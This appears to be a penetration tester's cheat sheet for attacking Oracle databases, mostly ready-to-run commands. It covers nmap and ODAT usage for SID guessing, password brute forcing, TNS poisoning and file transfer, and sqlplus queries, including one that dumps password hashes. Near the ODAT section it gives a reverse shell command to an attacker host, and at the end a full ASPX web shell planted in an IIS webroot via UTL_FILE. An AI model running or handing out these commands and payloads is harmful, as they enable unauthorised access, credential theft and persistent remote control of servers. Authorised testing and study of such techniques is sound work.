11Database
Oracle SQL
00 Basic
bash4 lines
## ------------------| Nmap Scanssudo nmap -Pn -sC -sV -p1521 <IP>sudo nmap -Pn -sC -sV -p1521 --script *oracle* <IP>sudo nmap -Pn -sC -sV -p1521 --script oracle-sid-brute <IP>01 ODAT (Oracle Database Attacking Tool)
bash65 lines
## ------------------| Install on aarch64 (ARM)sudo apt-get install libaio1t64 python3-dev alien -ygit clone https://github.com/quentinhardy/odat.git && cd odat/git submodule initgit submodule updatewget https://download.oracle.com/otn_software/linux/instantclient/instantclient-basic-linux-arm64.zipwget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sqlplus-linux-arm64.zipunzip instantclient-basic-linux-arm64.zipunzip instantclient-sqlplus-linux-arm64.zipecho "export LD_LIBRARY_PATH=\"$(pwd)/instantclient_23_7:\$LD_LIBRARY_PATH\"" >> ~/.zshrc ## Change 19_25 and change ~/.bashrc if you are using bashecho "export PATH=\"\$PATH:$(pwd)/instantclient_23_7\"" >> ~/.zshrc ## Change 19_25 and change ~/.bashrc if you are using bashsudo apt-get install -y python3-cx-oracle python3-scapy python3-colorlog python3-termcolor python3-passlib python3-pycryptodome python3-pyinstaller python3-libnmap build-essential libgmp-dev
## ------------------| Scan allodat all -s <IP> -p 1521
## ------------------| Scan SIDodat sidguesser -s <IP> -p 1521
# ------------------| TNS Poisoningodat tnspoison -s <IP> -p 1521 -d <SID> --test-moduleodat tnspoison -s <IP> -p 1521 -d <SID> --poison
## ------------------| Brute Force Passwordsodat passwordguesser -s <IP> -p 1521 -d <SID> -U h4rithd -P passwords.txtodat passwordguesser -s <IP> -d <SID> --accounts-file /usr/share/odat/accounts/accounts.txt
## ------------------| Test Connection to Oracle Databaseodat test -s <IP> -d <SID> -U h4rithd -P password123
## ------------------| Upload Files to Oracle Serverodat utlfile -s <IP> -d <SID> -U h4rithd -P password123 --putFile="<LOCAL_FILE_PATH>" --remotePath="<REMOTE_PATH>"
## ------------------| Download File from Serverodat utlfile -s <IP> -d <SID> -U h4rithd -P password123 --getFile="<REMOTE_FILE_PATH>" --localPath="<LOCAL_PATH>"
## ------------------| Execute Java Codeodat java -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --exec "whoami"
## ------------------| Execute Reverse Shellodat externaltable -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --exec "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
## ------------------| Enumerate UTL_HTTP Accessodat utlhttp -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --test-module
## ------------------| Enumerate UTL_TCP Accessodat utltcp -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --test-module
## ------------------| Enumerate UTL_FILE Accessodat utlfile -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --test-module
## ------------------| Enumerate JAVA Accessodat java -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --test-module
## ------------------| Enumerate External Table Accessodat externaltable -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --test-module
## ------------------| Enumerate CTXSYS Accessodat ctxsys -s <IP> -p 1521 -d <SID> -U h4rithd -P password123 --test-module
## ------------------| Check if Oracle Listener is Runningodat tnspoison -s <IP> -d <SID> -U h4rithd -P password123
## ------------------| Perform TNS Poisoning Attackodat tnspoison -s <IP> -d <SID> -U h4rithd -P password123 --poison02 SQPLUS
bash124 lines
## ------------------| Setup [intel]sudo apt-get install oracle-instantclient-sqlpluswhich sqlplusexport ORACLE_HOME=/usr/lib/oracle/19.6/client64/export LD_LIBRARY_PATH=$ORACLE_HOME/libexport PATH=$ORACLE_HOME/bin:$PATH
## ------------------| Setup [ARM]mkdir -p /opt/oraclewget https://download.oracle.com/otn_software/linux/instantclient/instantclient-basic-linux-arm64.zip -O /dev/shm/instantclient-basic-linux-arm64.zipwget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sqlplus-linux-arm64.zip -O /dev/shm/instantclient-sqlplus-linux-arm64.zipwget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sdk-linux-arm64.zip -O /dev/shm/instantclient-sdk-linux-arm64.zipunzip -d /opt/oracle /dev/shm/instantclient-basic-linux-arm64.zipunzip -d /opt/oracle /dev/shm/instantclient-sqlplus-linux-arm64.zipunzip -d /opt/oracle /dev/shm/instantclient-sdk-linux-arm64.zipversion=$(unzip -l /dev/shm/instantclient-basic-linux-arm64.zip | awk '{print $4}' | grep '^instantclient_' | cut -d/ -f1 | sort -u)echo "export PATH=$PATH:/opt/oracle/$version" >> ~/.zshrcecho "export TNS_ADMIN=/opt/oracle/$version" >> ~/.zshrcecho "export LD_LIBRARY_PATH=/opt/oracle/$version" >> ~/.zshrcecho "export ORACLE_HOME=/opt/oracle/$version" >> ~/.zshrcsqlplus -V
## ------------------| Login as usersqlplus username/password@//host:port/SIDsqlplus <USER>/'<PASS>'@<IP>:1521/XE
## ------------------| Login as superuser
## ------------------| Show Current UserSELECT USER FROM DUAL;
## ------------------| List All UsersSELECT username FROM all_users;
## ------------------| List User RolesSELECT * FROM user_role_privs;
## ------------------| List User System PrivilegesSELECT * FROM user_sys_privs;
## ------------------| Show Session PrivilegesSELECT * FROM session_privs;
## ------------------| List User Table PrivilegesSELECT * FROM user_tab_privs;
## ------------------| List All Tables (Accessible)SELECT table_name FROM all_tables;
## ------------------| List Tables Owned by Current UserSELECT table_name FROM user_tables;
## ------------------| Describe Table StructureDESC table_name;
## ------------------| Select All Data from a TableSELECT * FROM table_name;
## ------------------| Get Oracle VersionSELECT * FROM v$version;
## ------------------| Get Current Database NameSELECT name FROM v$database;
## ------------------| Check Current User SessionsSELECT username, sid, serial#, status FROM v$session;
## ------------------| List All RolesSELECT * FROM dba_roles;
## ------------------| Check Role PrivilegesSELECT * FROM role_sys_privs;
## ------------------| List Columns in a TableSELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE_NAME';
## ------------------| Check Grants Given to a UserSELECT * FROM dba_sys_privs WHERE grantee = 'USERNAME';
## ------------------| Check Password Hashes (10g or before)SELECT name, password FROM sys.user$;
## ------------------| Check TablespacesSELECT tablespace_name FROM dba_tablespaces;
## ------------------| Check Users and Default TablespaceSELECT username, default_tablespace FROM dba_users;
## ------------------| Read File Using UTL_FILE in OracleSET SERVEROUTPUT ON;
DECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(5000);BEGIN f := UTL_FILE.FOPEN('/inetpub/wwwroot', 'iisstart.htm', 'R'); UTL_FILE.GET_LINE(f, s); UTL_FILE.FCLOSE(f); DBMS_OUTPUT.PUT_LINE(s);END;/ # Hit enter then type '/' and hit enter
## ------------------| Write File Using UTL_FILE in OracleDECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(5000) := 'h4rithd was there';BEGIN f := UTL_FILE.FOPEN('/inetpub/wwwroot', 'h4rith.txt', 'W'); UTL_FILE.PUT_LINE(f, s); UTL_FILE.FCLOSE(f);END;/ # Hit enter then type '/' and hit enter
## ------------------| Drop ASPX Web Shell Using UTL_FILEDECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';BEGIN f := UTL_FILE.FOPEN('/inetpub/wwwroot', 'h4rithd.aspx', 'W'); UTL_FILE.PUT_LINE(f, s); UTL_FILE.FCLOSE(f);END;/ # Hit enter then type '/' and hit enter